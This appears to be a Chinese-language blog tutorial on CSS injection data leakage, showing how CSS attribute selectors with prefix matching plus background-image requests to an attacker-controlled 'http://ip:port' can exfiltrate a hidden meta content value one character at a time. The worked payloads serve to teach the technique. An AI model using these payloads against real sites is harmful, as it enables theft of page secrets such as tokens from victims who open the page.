先明确一下这个漏洞能实现的效果 —— 泄露页面里可被 CSS 属性选择器访问的 HTML 属性内容。
这个攻击手法挺像 xss 的,不过没涉及到 JavaScript,仅仅是借助 CSS 和 HTML 就实现了信息泄露。
CSS属性选择器
CSS 属性选择器是 CSS 中的一种选择器类型,用于选中 HTML 元素中符合特定属性条件的元素。属性选择器允许基于元素的属性名、属性值来应用样式。
CSS 属性选择器可以使用模糊匹配语法:
^=:匹配属性值以某个特定字符串开头$=:匹配属性值以某个特定字符串结尾*=:匹配属性值包含某个特定字符串|=:匹配属性值以某个特定字符串开始,并且后面可以跟一个连字符(-)
我们来看一个例子:
HTML
<!DOCTYPE html>
<head>
<style>
div[data-info="123"] {
color: red;
}
</style>
</head>
<body>
<div class="box" id="item1" data-info="123">Content 1</div>
<div class="box" id="item2" data-info="456">Content 2</div>
</body>
</html>HTML运行效果是:

基础知识其实就这这些,接下来都是利用。
CSS_Leak的实现
我们知道 CSS 可以通过设置背景图片间接实现发送网络请求,这就为信息泄露提供了出口。
举个例子,现在有这么一个网页:
HTML
<html>
<head>
<title>View</title>
<meta name="secret" content="flag">
<style>
meta{ choose } {
background: { url };
}
</style>
</head>
<body>
<h1>Hello!</h1>
</body>
</html>HTML如果这里的 choose 和 url 是可控文本,就能实现 meta 元素中的元素内容读取(例如 content 的值 flag)。
实现过程:
因为 CSS 属性选择器支持模糊匹配语法,提供了长字符串爆破的可能性。我们从获取第一个字符开始。
HTML
<html>
<head>
<title>View</title>
<meta name="secret" content="flag">
<style>
meta{[name="secret"][content^="f"]} {
background: url("http://ip:port?f");
}
</style>
</head>
<body>
<h1>Hello!</h1>
</body>
</html>HTML如果 content 的第一个字符是 f,就能触发 CSS 属性选择器中的行为,向 http://ip:port?a(攻击机)发送请求。我们可以保持 url 中的 get 参数名和已经爆破出的待泄露字符串保持一致,就能通过攻击机上的请求信息获取泄露信息。
后续还是一样的思路。
HTML
<html>
<head>
<title>View</title>
<meta name="secret" content="flag">
<style>
meta{[name="secret"][content^="fl"]} {
background: url("http://ip:port?fl");
}
</style>
</head>
<body>
<h1>Hello!</h1>
</body>
</html>HTML就能逐步的泄露出完整的 content 属性值。
这个姿势的实现前提和 xss 是一样的,如果要窃取的是管理员用户页面中的信息,需要管理员用户主动运行这段代码(打开这个网页)才行。

Comments NOTHING